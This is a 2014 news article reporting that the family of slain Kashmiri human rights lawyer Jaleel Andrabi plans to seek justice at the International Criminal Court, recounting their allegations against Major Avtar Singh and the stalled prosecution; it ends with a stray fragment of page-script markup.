Published On: Fri, Mar 28th, 2014
Published in Category: Islamabad

We will approach int’l criminal court for justice: Jaleel Andrabi’s family

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ISLAMABAD: On the 18th death anniversary of noted human rights defender and lawyer, Jaleel Andrabi, his family has hit out at India for shielding the troops involved in human rights violations in the territory.

Jaleel Andrabi was killed by a unit of Army led by Major Avtar Singh. Jaleel’s family said he was abducted on March 8, 1996 by Indian troops while travelling with his wife from the High Court. Later his decomposed body was recovered from Jhelum on this day in 1996.

Jaleel’s brother, Arshad Andrabi, said Jaleel internationally highlighted human rights violations by armed forces in the territory.

“His address at a session of the United Nations Sub-Commission on Human Rights in August 1995 did not go well with the Indian authorities.

After that,Jaleel was under constant threat of forces to stop him from pursuing cases of human rights violations. Braving all threats, he stood undeterred continuing with his mission. He was finally killed in cold-blood by Major Avtar Singh,” Arshad added.

“Despite evidence against Major Avtar Singh and other accused in the case, India left no stone unturned to protect and help him to settle in the United States.

This case shows the impunity armed forces enjoy in JK under disguise of various laws.” Though the main accused in the case, Major Avtar Singh committed suicide in US last year, Arshad says his accomplices are still roaming scot free in Kashmir.

“In his statement under section 164 CRPC, a government gunman, Muhammad Ashraf, had revealed that Jaleel was detained in a camp in Rawalpora and tortured to death by Major Avtar Singh and four other persons. He also revealed that he had heard gunshot following which Jaleel’s body was packed in a gunny bag and dumped in Jhelum,” he added.

“On April 10, 1997, a Court here had directed for immediate impounding of Major Avtar Singh’s passport. Ironically, Singh was issued travel documents to evade arrest,” he said saying Avtar had five other cases of murder and kidnapping registered against him in Srinagar alone.

He said despite an Interpol warrant against Avatar Singh, he could not be extradited as India did not press for his extradition. “The fact is New Delhi wants to reward every member of its armed forces for suppressing voice of Kashmiris,” Arshad said.

“We have exhausted all options to bring remaining perpetrators to justice. I have decided to approach the International Criminal Court in The Hague for justice,” he said.s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;